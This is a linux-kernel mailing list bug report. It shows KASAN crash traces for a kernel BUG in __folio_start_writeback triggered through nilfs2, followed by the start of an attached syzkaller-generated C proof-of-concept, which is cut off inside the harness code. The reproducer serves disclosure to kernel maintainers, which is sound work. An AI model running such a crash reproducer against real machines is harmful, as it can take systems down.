* kernel BUG in __folio_start_writeback
@ 2024-06-06 10:01 Ubisectech Sirius
2024-06-06 10:45 ` Ryusuke Konishi
0 siblings, 1 reply; 2+ messages in thread
From: Ubisectech Sirius @ 2024-06-06 10:01 UTC (permalink / raw)
To: linux-kernel; +Cc: willy, konishi.ryusuke
[-- Attachment #1: Type: text/plain, Size: 6721 bytes --]
Hello.
We are Ubisectech Sirius Team, the vulnerability lab of China ValiantSec. Recently, our team has discovered a issue in Linux kernel 6.8. Attached to the email were a PoC file of the issue.
Stack dump:
__vm_munmap+0x13d/0x390 mm/mmap.c:2990
__do_sys_munmap mm/mmap.c:3007 [inline]
__se_sys_munmap mm/mmap.c:3004 [inline]
__x64_sys_munmap+0x62/0x90 mm/mmap.c:3004
do_syscall_x64 arch/x86/entry/common.c:52 [inline]
do_syscall_64+0xd5/0x270 arch/x86/entry/common.c:83
entry_SYSCALL_64_after_hwframe+0x6f/0x77
------------[ cut here ]------------
kernel BUG at mm/page-writeback.c:2991!
invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI
CPU: 1 PID: 12198 Comm: segctord Not tainted 6.8.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:__folio_start_writeback+0x6f3/0xad0 mm/page-writeback.c:2991
Code: e8 a2 28 ce ff 48 89 ef e8 aa ed 1d 00 49 89 c7 e9 67 fd ff ff e8 8d 28 ce ff 48 c7 c6 e0 91 d7 8a 48 89 ef e8 7e 7c 0d 00 90 <0f> 0b e8 76 28 ce ff e8 c1 eb d9 08 e9 4b fb ff ff e8 67 28 ce ff
RSP: 0018:ffffc900020ffa00 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff88804246c1f8 RCX: ffffc900020ff860
RDX: ffff888018964980 RSI: ffffffff81bc8432 RDI: 0000000000000000
RBP: ffffea00018b57c0 R08: 0000000000000001 R09: fffffbfff1eb0742
R10: ffffffff8f583a17 R11: 0000000000000001 R12: 1ffff9200041ff45
R13: 0000000000000000 R14: 0000000000000001 R15: ffffea00018b57c0
FS: 0000000000000000(0000) GS:ffff88807ec00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f9cb42f0088 CR3: 00000000454c0000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Call Trace:
<TASK>
nilfs_segctor_prepare_write fs/nilfs2/segment.c:1697 [inline]
nilfs_segctor_do_construct+0x1c10/0x78a0 fs/nilfs2/segment.c:2113
nilfs_segctor_construct+0x8c7/0xb10 fs/nilfs2/segment.c:2418
nilfs_segctor_thread_construct fs/nilfs2/segment.c:2526 [inline]
nilfs_segctor_thread+0x3cc/0xf30 fs/nilfs2/segment.c:2610
kthread+0x2cc/0x3b0 kernel/kthread.c:388
ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:147
ret_from_fork_asm+0x1b/0x30 arch/x86/entry/entry_64.S:243
</TASK>
Modules linked in:
---[ end trace 0000000000000000 ]---
RIP: 0010:__folio_start_writeback+0x6f3/0xad0 mm/page-writeback.c:2991
Code: e8 a2 28 ce ff 48 89 ef e8 aa ed 1d 00 49 89 c7 e9 67 fd ff ff e8 8d 28 ce ff 48 c7 c6 e0 91 d7 8a 48 89 ef e8 7e 7c 0d 00 90 <0f> 0b e8 76 28 ce ff e8 c1 eb d9 08 e9 4b fb ff ff e8 67 28 ce ff
RSP: 0018:ffffc900020ffa00 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff88804246c1f8 RCX: ffffc900020ff860
RDX: ffff888018964980 RSI: ffffffff81bc8432 RDI: 0000000000000000
RBP: ffffea00018b57c0 R08: 0000000000000001 R09: fffffbfff1eb0742
R10: ffffffff8f583a17 R11: 0000000000000001 R12: 1ffff9200041ff45
R13: 0000000000000000 R14: 0000000000000001 R15: ffffea00018b57c0
FS: 0000000000000000(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007fbc5505bb58 CR3: 0000000046b08000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
root@test-h2-pc:~/1900/workdir/new_zero_day_crashes/2e10a9506d3be94cd15ce8fedcc9d7eef99ed7a0# cat report0
do_new_mount fs/namespace.c:3352 [inline]
path_mount+0x6b3/0x1eb0 fs/namespace.c:3679
do_mount fs/namespace.c:3692 [inline]
__do_sys_mount fs/namespace.c:3898 [inline]
__se_sys_mount fs/namespace.c:3875 [inline]
__x64_sys_mount+0x287/0x310 fs/namespace.c:3875
do_syscall_x64 arch/x86/entry/common.c:52 [inline]
do_syscall_64+0xd5/0x270 arch/x86/entry/common.c:83
entry_SYSCALL_64_after_hwframe+0x6f/0x77
------------[ cut here ]------------
kernel BUG at mm/page-writeback.c:2991!
invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI
CPU: 0 PID: 10193 Comm: segctord Not tainted 6.8.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:__folio_start_writeback+0x6f3/0xad0 mm/page-writeback.c:2991
Code: e8 a2 28 ce ff 48 89 ef e8 aa ed 1d 00 49 89 c7 e9 67 fd ff ff e8 8d 28 ce ff 48 c7 c6 e0 91 d7 8a 48 89 ef e8 7e 7c 0d 00 90 <0f> 0b e8 76 28 ce ff e8 c1 eb d9 08 e9 4b fb ff ff e8 67 28 ce ff
RSP: 0018:ffffc90001d57a00 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888016c47b78 RCX: ffffc90001d57860
RDX: ffff888017d0a4c0 RSI: ffffffff81bc8432 RDI: 0000000000000000
RBP: ffffea0001a26ac0 R08: 0000000000000001 R09: fffffbfff1eb0742
R10: ffffffff8f583a17 R11: 0000000000000001 R12: 1ffff920003aaf45
R13: 0000000000000000 R14: 0000000000000001 R15: ffffea0001a26ac0
FS: 0000000000000000(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000001b2de42000 CR3: 000000004d124000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Call Trace:
<TASK>
nilfs_segctor_prepare_write fs/nilfs2/segment.c:1710 [inline]
nilfs_segctor_do_construct+0x45e2/0x78a0 fs/nilfs2/segment.c:2113
nilfs_segctor_construct+0x8c7/0xb10 fs/nilfs2/segment.c:2418
nilfs_segctor_thread_construct fs/nilfs2/segment.c:2526 [inline]
nilfs_segctor_thread+0x3cc/0xf30 fs/nilfs2/segment.c:2610
kthread+0x2cc/0x3b0 kernel/kthread.c:388
ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:147
ret_from_fork_asm+0x1b/0x30 arch/x86/entry/entry_64.S:243
</TASK>
Modules linked in:
---[ end trace 0000000000000000 ]---
RIP: 0010:__folio_start_writeback+0x6f3/0xad0 mm/page-writeback.c:2991
Code: e8 a2 28 ce ff 48 89 ef e8 aa ed 1d 00 49 89 c7 e9 67 fd ff ff e8 8d 28 ce ff 48 c7 c6 e0 91 d7 8a 48 89 ef e8 7e 7c 0d 00 90 <0f> 0b e8 76 28 ce ff e8 c1 eb d9 08 e9 4b fb ff ff e8 67 28 ce ff
RSP: 0018:ffffc90001d57a00 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888016c47b78 RCX: ffffc90001d57860
RDX: ffff888017d0a4c0 RSI: ffffffff81bc8432 RDI: 0000000000000000
RBP: ffffea0001a26ac0 R08: 0000000000000001 R09: fffffbfff1eb0742
R10: ffffffff8f583a17 R11: 0000000000000001 R12: 1ffff920003aaf45
R13: 0000000000000000 R14: 0000000000000001 R15: ffffea0001a26ac0
FS: 0000000000000000(0000) GS:ffff88807ec00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f4cbd43efa0 CR3: 0000000042ee2000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Thank you for taking the time to read this email and we look forward to working with you further.
[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 158212 bytes --]
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/swap.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/capability.h>
#include <linux/falloc.h>
#include <linux/futex.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/loop.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/nl80211.h>
#include <linux/rfkill.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
#ifndef __NR_memfd_create
#define __NR_memfd_create 319
#endif
static unsigned long long procid;
static __thread int clone_ongoing;
static __thread int skip_segv;
static __thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
if (__atomic_load_n(&clone_ongoing, __ATOMIC_RELAXED) != 0) {
exit(sig);
}
uintptr_t addr = (uintptr_t)info->si_addr;
const uintptr_t prog_start = 1 << 20;
const uintptr_t prog_end = 100 << 20;
int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0;
int valid = addr < prog_start || addr > prog_end;
if (skip && valid) {
_longjmp(segv_env, 1);
}
exit(sig);
}
static void install_segv_handler(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
({ \
int ok = 1; \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} else \
ok = 0; \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
ok; \
})
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct nlmsg {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[4096];
};
static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
const void* data, int size)
{
memset(nlmsg, 0, sizeof(*nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data,
int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
if (size > 0)
memcpy(attr + 1, data, size);
nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}
static void netlink_nest(struct nlmsg* nlmsg, int typ)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_type = typ;
nlmsg->pos += sizeof(*attr);
nlmsg->nested[nlmsg->nesting++] = attr;
}
static void netlink_done(struct nlmsg* nlmsg)
{
struct nlattr* attr = nlmsg->nested[--nlmsg->nesting];
attr->nla_len = nlmsg->pos - (char*)attr;
}
static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type,
int* reply_len, bool dofail)
{
if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
(struct sockaddr*)&addr, sizeof(addr));
if (n != (ssize_t)hdr->nlmsg_len) {
if (dofail)
exit(1);
return -1;
}
n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
if (reply_len)
*reply_len = 0;
if (n < 0) {
if (dofail)
exit(1);
return -1;
}
if (n < (ssize_t)sizeof(struct nlmsghdr)) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
if (hdr->nlmsg_type == NLMSG_DONE)
return 0;
if (reply_len && hdr->nlmsg_type == reply_type) {
*reply_len = n;
return 0;
}
if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
if (hdr->nlmsg_type != NLMSG_ERROR) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
errno = -((struct nlmsgerr*)(hdr + 1))->error;
return -errno;
}
static int netlink_send(struct nlmsg* nlmsg, int sock)
{
return netlink_send_ext(nlmsg, sock, 0, NULL, true);
}
static int netlink_query_family_id(struct nlmsg* nlmsg, int sock,
const char* family_name, bool dofail)
{
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name,
strnlen(family_name, GENL_NAMSIZ - 1) + 1);
int n = 0;
int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail);
if (err < 0) {
return -1;
}
uint16_t id = 0;
struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
errno = EINVAL;
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
return id;
}
static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset,
unsigned int total_len)
{
struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset);
if (offset == total_len || offset + hdr->nlmsg_len > total_len)
return -1;
return hdr->nlmsg_len;
}
static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type,
const char* name, bool up)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
if (name)
netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name));
netlink_nest(nlmsg, IFLA_LINKINFO);
netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type));
}
static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type,
const char* name)
{
netlink_add_device_impl(nlmsg, type, name, false);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name,
const char* peer)
{
netlink_add_device_impl(nlmsg, "veth", name, false);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_nest(nlmsg, VETH_INFO_PEER);
nlmsg->pos += sizeof(struct ifinfomsg);
netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer));
netlink_done(nlmsg);
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_xfrm(struct nlmsg* nlmsg, int sock, const char* name)
{
netlink_add_device_impl(nlmsg, "xfrm", name, true);
netlink_nest(nlmsg, IFLA_INFO_DATA);
int if_id = 1;
netlink_attr(nlmsg, 2, &if_id, sizeof(if_id));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name,
const char* slave1, const char* slave2)
{
netlink_add_device_impl(nlmsg, "hsr", name, false);
netlink_nest(nlmsg, IFLA_INFO_DATA);
int ifindex1 = if_nametoindex(slave1);
netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1));
int ifindex2 = if_nametoindex(slave2);
netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type,
const char* name, const char* link)
{
netlink_add_device_impl(nlmsg, type, name, false);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t id, uint16_t proto)
{
netlink_add_device_impl(nlmsg, "vlan", name, false);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id));
netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link)
{
netlink_add_device_impl(nlmsg, "macvlan", name, false);
netlink_nest(nlmsg, IFLA_INFO_DATA);
uint32_t mode = MACVLAN_MODE_BRIDGE;
netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name,
uint32_t vni, struct in_addr* addr4,
struct in6_addr* addr6)
{
netlink_add_device_impl(nlmsg, "geneve", name, false);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni));
if (addr4)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4));
if (addr6)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
#define IFLA_IPVLAN_FLAGS 2
#define IPVLAN_MODE_L3S 2
#undef IPVLAN_F_VEPA
#define IPVLAN_F_VEPA 2
static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t mode, uint16_t flags)
{
netlink_add_device_impl(nlmsg, "ipvlan", name, false);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode));
netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_device_change(struct nlmsg* nlmsg, int sock,
const char* name, bool up, const char* master,
const void* mac, int macsize,
const char* new_name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
hdr.ifi_index = if_nametoindex(name);
netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));
if (new_name)
netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));
if (master) {
int ifindex = if_nametoindex(master);
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
}
if (macsize)
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev,
const void* addr, int addrsize)
{
struct ifaddrmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
hdr.ifa_scope = RT_SCOPE_UNIVERSE;
hdr.ifa_index = if_nametoindex(dev);
netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize);
netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize);
return netlink_send(nlmsg, sock);
}
static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in_addr in_addr;
inet_pton(AF_INET, addr, &in_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr));
if (err < 0) {
}
}
static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in6_addr in6_addr;
inet_pton(AF_INET6, addr, &in6_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr));
if (err < 0) {
}
}
static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name,
const void* addr, int addrsize, const void* mac,
int macsize)
{
struct ndmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ndm_ifindex = if_nametoindex(name);
hdr.ndm_state = NUD_PERMANENT;
netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, NDA_DST, addr, addrsize);
netlink_attr(nlmsg, NDA_LLADDR, mac, macsize);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static struct nlmsg nlmsg;
static int tunfd = -1;
#define TUN_IFACE "syz_tun"
#define LOCAL_MAC 0xaaaaaaaaaaaa
#define REMOTE_MAC 0xaaaaaaaaaabb
#define LOCAL_IPV4 "172.20.20.170"
#define REMOTE_IPV4 "172.20.20.187"
#define LOCAL_IPV6 "fe80::aa"
#define REMOTE_IPV6 "fe80::bb"
#define IFF_NAPI 0x0010
static void initialize_tun(void)
{
tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
if (tunfd == -1) {
printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n");
printf("otherwise fuzzing or reproducing might not work as intended\n");
return;
}
const int kTunFd = 200;
if (dup2(tunfd, kTunFd) < 0)
exit(1);
close(tunfd);
tunfd = kTunFd;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ);
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) {
exit(1);
}
char sysctl[64];
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE);
write_file(sysctl, "0");
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE);
write_file(sysctl, "0");
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4);
netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6);
uint64_t macaddr = REMOTE_MAC;
struct in_addr in_addr;
inet_pton(AF_INET, REMOTE_IPV4, &in_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr),
&macaddr, ETH_ALEN);
struct in6_addr in6_addr;
inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr),
&macaddr, ETH_ALEN);
macaddr = LOCAL_MAC;
netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN,
NULL);
close(sock);
}
#define DEVLINK_FAMILY_NAME "devlink"
#define DEVLINK_CMD_PORT_GET 5
#define DEVLINK_ATTR_BUS_NAME 1
#define DEVLINK_ATTR_DEV_NAME 2
#define DEVLINK_ATTR_NETDEV_NAME 7
static struct nlmsg nlmsg2;
static void initialize_devlink_ports(const char* bus_name, const char* dev_name,
const char* netdev_prefix)
{
struct genlmsghdr genlhdr;
int len, total_len, id, err, offset;
uint16_t netdev_index;
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1)
exit(1);
int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (rtsock == -1)
exit(1);
id = netlink_query_family_id(&nlmsg, sock, DEVLINK_FAMILY_NAME, true);
if (id == -1)
goto error;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = DEVLINK_CMD_PORT_GET;
netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1);
netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1);
err = netlink_send_ext(&nlmsg, sock, id, &total_len, true);
if (err < 0) {
goto error;
}
offset = 0;
netdev_index = 0;
while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) {
struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
